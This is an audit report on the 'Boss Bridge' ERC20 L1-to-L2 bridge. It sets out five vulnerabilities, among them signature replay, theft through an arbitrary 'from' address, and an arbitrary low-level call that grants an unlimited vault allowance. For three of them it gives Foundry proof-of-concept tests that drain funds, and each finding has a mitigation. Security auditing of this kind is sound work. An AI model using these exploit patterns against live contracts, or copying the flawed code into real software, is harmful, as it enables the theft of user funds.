Boss Bridge Audit Report

Version 1.0

0xPexy

August 7, 2025

Boss Bridge Audit Report

0xPexy

Aug 7, 2025

Prepared by: 0xPexy

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High Severity
    - [H-1] Critical Signature Replay Vulnerability
    - [H-2] Arbitrary `from` Address in `depositTokensToL2` Allows Fund Theft
  - Medium Severity
    - [M-1] Low-Level Call in `sendToL1` Allows Arbitrary Execution
    - [M-2] Missing Replay Protection in `Deposit` Event
    - [M-3] `create` Opcode May Behave Differently on L2

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

0xPexy makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by 0xPexy is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol
    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	3
Total	5

Findings

High Severity

[H-1] Critical Signature Replay Vulnerability

Description The `sendToL1` function validates the signature but does not prevent it from being reused.

```
1      function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
          message) public nonReentrant whenNotPaused {
2  >>>     address signer = ECDSA.recover(MessageHashUtils.
       toEthSignedMessageHash(keccak256(message)), v, r, s);
3  >>>     if (!signers[signer]) {
4  >>>         revert L1BossBridge__Unauthorized();
5  >>>     }
6  //...
7      }
```

Impact An attacker can replay a valid signature to execute the same withdrawal multiple times, potentially draining all funds from the bridge across multiple chains.

Proof of Concepts

Add the following to the `L1TokenBridge.t.sol`.

The attacker replayed the signature and withdraw twice.

```
1      function test_audit_signatureReplay() public {
2          address attacker = makeAddr("attacker");
3          uint256 depositAmount = 10e18;
4          vm.prank(deployer);
5          token.transfer(address(attacker), depositAmount);
6
7          // user and attacker deposit same amount
8          vm.startPrank(user);
9          token.approve(address(tokenBridge), depositAmount);
10         tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
```

```
        vm.stopPrank();

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), depositAmount);
        tokenBridge.depositTokensToL2(attacker, attacker, depositAmount
            );

        assertEq(token.balanceOf(address(vault)), depositAmount * 2);

        // operator signs one withdrawals for attacker
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(
            _getTokenWithdrawalMessage(attacker, depositAmount),
            operator.key
        );

        // attacker replays signature and drains user's funds
        tokenBridge.withdrawTokensToL1(attacker, depositAmount, v, r, s
            );
        tokenBridge.withdrawTokensToL1(attacker, depositAmount, v, r, s
            );
        vm.stopPrank();

        assertEq(token.balanceOf(address(attacker)), depositAmount * 2)
            ;
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended mitigation Incorporate a unique nonce and the chain ID into the signed message hash to prevent replay attacks.

[H-2] Arbitrary `from` Address in `depositTokensToL2` Allows Fund Theft

Description The `depositTokensToL2` function uses a user-supplied `from` parameter to specify the source of funds, instead of validating against `msg.sender`.

```
    function depositTokensToL2(address from, address l2Recipient,
        uint256 amount) external whenNotPaused {
//...
>>>     token.safeTransferFrom(from, address(vault), amount);
//...
    }
```

Impact An attacker can steal funds from any user who has approved the bridge contract. The attacker calls `depositTokensToL2`, setting the `from` parameter to the victim's address and `l2Recipient` to their own, effectively depositing the victim's tokens and receiving the credit on L2.

Proof of Concepts

Add the following to the `L1TokenBridge.t.sol`.

The test demonstrates an attacker depositing a user's approved tokens and designating themselves as the recipient on L2.

```
    function test_audit_arbitraryTransferFrom() public {
        // depositTokensToL2 doesn't use msg.sender
        vm.startPrank(user);
        uint256 depositAmount = 10e18;
        uint256 userInitialBalance = token.balanceOf(address(user));
        // user approve for bridge
        token.approve(address(tokenBridge), depositAmount);
        vm.stopPrank();

        address attacker = makeAddr("attacker");
        vm.prank(attacker);
        // attacker deposits user's funds with their own address in L2
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        // deposited successfully with the user's funds
        assertEq(token.balanceOf(address(vault)), depositAmount);
        assertEq(
            token.balanceOf(address(user)),
            userInitialBalance - depositAmount
        );
    }
```

Recommended mitigation Use `msg.sender` as the source of funds instead of the `from` parameter.

```
-   function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+   function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

Medium Severity

[M-1] Low-Level Call in `sendToL1` Allows Arbitrary Execution

Description The `sendToL1` function in `L1BossBridge.sol#L119` uses a low-level `call` to execute a transaction with user-provided data.

```
    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
        // ...
        (address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
>>>     (bool success,) = target.call{ value: value }(data);
        // ...
    }
```

Since `sendToL1` is a permissionless function, it can be used to execute arbitrary code if it's also used for gasless transactions. The function lacks checks for whitelisted contracts or function signatures.

Impact

- **Fund Theft:** An attacker can craft a message that calls `L1Vault.approveTo`, granting the attacker an unlimited allowance to withdraw all funds from the vault.
- **Gas Bomb:** An attacker can submit a message with a large amount of data, forcing the relayer to consume a significant amount of gas.

Proof of Concepts

Add the following to `L1TokenBridge.t.sol`.

This test shows an attacker creating a signature with a malicious payload, which calls `approveTo` and gives the attacker a full allowance to the vault's funds.

```
    function test_audit_lowLevelCall() public {
        address attacker = makeAddr("attacker");
        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (attacker, type(uint256).max)) // data
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);
        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    }
```

Recommended mitigation Change the visibility of `sendToL1` to `internal` so that it can only be called by `withdrawTokensToL1`.

[M-2] Missing Replay Protection in `Deposit` Event

Description The `Deposit` event in `L1BossBridge.sol#L77` does not include replay protection mechanisms, such as a nonce or chain ID.

```
    function depositTokensToL2(address from, address l2Recipient,
        uint256 amount) external whenNotPaused {
        // ...
        // Our off-chain service picks up this event and mints the
            corresponding tokens on L2
>>>     emit Deposit(from, l2Recipient, amount);
    }
```

This omission could potentially confuse off-chain services that track these events, and may lead to replay attacks if not handled carefully off-chain.

Impact Similar to the signature replay vulnerability, the lack of replay protection in the `Deposit` event could lead to the double-counting of deposits or other accounting errors off-chain.

Recommended mitigation Add a `nonce` and `chainId` to the `Deposit` event to ensure each deposit is unique and can be tracked across different chains.

[M-3] `create` Opcode May Behave Differently on L2

Description The `deployToken` function in `L1BossBridge.sol#L25` uses the `create` opcode to deploy token contracts.

```
    function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr) {
        assembly {
>>>         addr := create(0, add(contractBytecode, 0x20), mload(
    contractBytecode))
        }
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

This protocol is intended for deployment on L2 networks. However, some L2s, such as ZKsync, have different implementations for certain EVM instructions. On ZKsync, for instance, `create` and `create2` do not behave as they do on L1.

Impact If the `create` opcode behaves differently on the target L2, it could lead to the deployment of malicious or incorrect token contracts. This could result in the loss of funds if users interact with a compromised ERC20 contract.

Recommended mitigation Use the **`new`** keyword for contract deployment instead of the `create` opcode. This will ensure consistent behavior across different L2 networks.